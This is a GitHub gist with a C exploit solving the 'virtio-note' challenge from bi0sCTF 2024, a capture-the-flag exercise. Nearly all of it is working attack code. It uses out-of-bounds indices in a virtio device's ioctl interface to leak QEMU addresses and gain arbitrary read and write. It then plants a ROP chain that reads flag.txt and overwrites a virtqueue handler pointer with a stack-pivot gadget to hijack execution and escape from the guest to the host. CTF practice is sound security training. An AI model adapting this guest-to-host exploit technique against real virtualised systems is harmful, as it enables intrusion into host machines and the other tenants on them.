Created
February 26, 2024 18:26
-
-
Save k1R4/790f17cf583b8431d47f3c334c9576f4 to your computer and use it in GitHub Desktop.
virtio-note - bi0sCTF 2024
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <sys/ioctl.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
typedef struct | |
{ | |
unsigned int idx; | |
char *buf; | |
} arg_t; | |
arg_t arg; | |
int fd; | |
void error(const char *err) | |
{ | |
perror(err); | |
exit(1); | |
} | |
void __vn_read(unsigned int idx, void *buf) | |
{ | |
arg.idx = idx; | |
arg.buf = buf; | |
if(ioctl(fd, 0, &arg)) error("ioctl::read"); | |
} | |
unsigned long vn_read(unsigned int idx) | |
{ | |
char buf[0x40]; | |
__vn_read(idx, buf); | |
return *(unsigned long *)buf; | |
} | |
void vn_write(unsigned int idx, unsigned long value) | |
{ | |
char buf[0x40]; | |
__vn_read(idx, buf); | |
*(unsigned long *)buf = value; | |
if(ioctl(fd, 1, &arg)) error("ioctl::write"); | |
} | |
void arb_write(unsigned long addr, unsigned long value) | |
{ | |
vn_write(0x1e, addr); | |
vn_write(0x0, value); | |
} | |
unsigned long arb_read(unsigned long addr) | |
{ | |
vn_write(0x1e, addr); | |
return vn_read(0x0); | |
} | |
int main() | |
{ | |
unsigned long elf, vnote, virtq; | |
unsigned long pop_rdi, pop_rsi, pop_rdx, pop_rsp, pivot, xchg_edi_eax; | |
unsigned long _open, _read, _write, _exit; | |
unsigned long payload[0x18]; | |
int i = 0; | |
fd = open("/dev/virtionote", O_RDWR); | |
if(fd < 0) error("open"); | |
printf("[*] Opened driver with fd: %d\n", fd); | |
vnote = vn_read(0x3e); | |
printf("[+] VirtIONote => %#lx\n", vnote); | |
// Setup arb r/w | |
vn_write(0x13, vnote+0x210); | |
virtq = arb_read(vnote+0x208); | |
printf("[+] VirtQueue => %#lx\n", virtq); | |
elf = arb_read(vnote+0xf8) - 0x688840; | |
printf("[+] ELF => %#lx\n", elf); | |
pop_rdi = elf+0x320932; | |
pop_rsi = elf+0x323aaf; | |
pop_rdx = elf+0x31b6df; | |
pop_rsp = elf+0x32088e; | |
xchg_edi_eax = elf+0x37976e; | |
// 0x0000000000c785ae : lea rsp, [rbp - 0x10] ; pop r12 ; pop r13 ; pop rbp ; ret | |
pivot = elf+0xc9edce; | |
_open = elf+0xbfded0; | |
_read = elf+0xbfd7f0; | |
_write = elf+0xbfd750; | |
_exit = elf+0xc1eb80; | |
// write "flag.txt" at vnotes[1] | |
arb_write(vnote+0x218, *(unsigned long *)"flag.txt"); | |
arb_write(vnote+0x220, 0); | |
// write ropchain to vnotes[3] | |
payload[i++] = pop_rdi; | |
payload[i++] = vnote+0x218; | |
payload[i++] = pop_rsi; | |
payload[i++] = O_RDONLY; | |
payload[i++] = pop_rdx; | |
payload[i++] = 0; | |
payload[i++] = _open; | |
payload[i++] = xchg_edi_eax; | |
payload[i++] = pop_rsi; | |
payload[i++] = vnote+0x300; | |
payload[i++] = pop_rdx; | |
payload[i++] = 0x50; | |
payload[i++] = _read; | |
payload[i++] = pop_rdi; | |
payload[i++] = STDOUT_FILENO; | |
payload[i++] = _write; | |
payload[i++] = _exit; | |
for(int i = 0; i < sizeof(payload)/8; i++) | |
{ | |
arb_write(vnote+0x228+i*8, payload[i]); | |
} | |
// write smol chain to pivot again | |
arb_write(vnote+0x8, pop_rsp); | |
arb_write(vnote+0x10, vnote+0x228); | |
// vnote->vnq->handle_output = pivot gadget | |
arb_write(virtq+0x58, pivot); | |
// trigger RIP hijack | |
vn_read(0x1337); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment